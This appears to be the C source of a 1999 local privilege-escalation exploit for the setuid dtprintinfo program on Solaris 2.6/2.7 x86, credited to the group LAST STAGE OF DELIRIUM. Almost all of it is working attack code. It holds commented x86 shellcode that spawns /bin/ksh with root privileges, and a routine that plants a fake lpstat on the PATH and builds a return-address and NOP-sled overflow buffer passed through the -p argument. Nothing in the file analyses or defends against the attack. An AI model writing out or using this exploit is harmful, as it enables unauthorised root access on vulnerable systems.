dtprintinfo.c

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland dtprintinfo.c

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland *://lsd-pl.net/ #*/
/*## /usr/dt/bin/dtprintinfo #*/

#include <fcntl.h>

#define NOPNUM 4000
#define ADRNUM 2000

char shellcode[]=
"\x33\xc0" /* xorl %eax,%eax */
"\xeb\x08" /* jmp <shellcode+12> */
"\x5f" /* popl %edi */
"\x47" /* incl %edi */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x47\x01" /* movb %al,0x1(%edi) */
"\xeb\x0d" /* jmp <shellcode+25> */
"\xe8\xf3\xff\xff\xff" /* call <shellcode+4> */
"\x9a\xff\xff\xff\xff\x07\xff" /* lcall */
"\xc3" /* ret */
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xe8\xee\xff\xff\xff" /* call <shellcode+17> */
"\xeb\x16" /* jmp <shellcode+59> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x7(%edx) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xd6\xff\xff\xff" /* call <shellcode+17> */
"\xe8\xe5\xff\xff\xff" /* call <shellcode+37> */
"/bin/ksh"
;

char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;

main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[4],display[128];
int i,d,fd;

printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland //lsd-pl.net/\n");
printf("/usr/dt/bin/dtprintinfo for solaris 2.6 2.7 x86\n\n");

if(argc!=2){
printf("usage: %s xserver:display\n",argv[0]);
exit(-1);
}

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+4152+2000+2000;

sprintf(display,"DISPLAY=%s",argv[1]);
envp[0]=display;
envp[1]=(char*)strdup("PATH=.:/usr/bin");
envp[2]=(char*)strdup("HOME=/");
envp[3]=0;

if((fd=open("./lpstat",O_WRONLY|O_CREAT|O_TRUNC,0777))==-1) exit(-1);
write(fd,"echo system for xxx:\n",23);
close(fd);

b=buffer;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

execle("/usr/dt/bin/dtprintinfo","lsd","-p",buffer,0,envp);
}
/* www.hack.co.za [8 August 2000]*/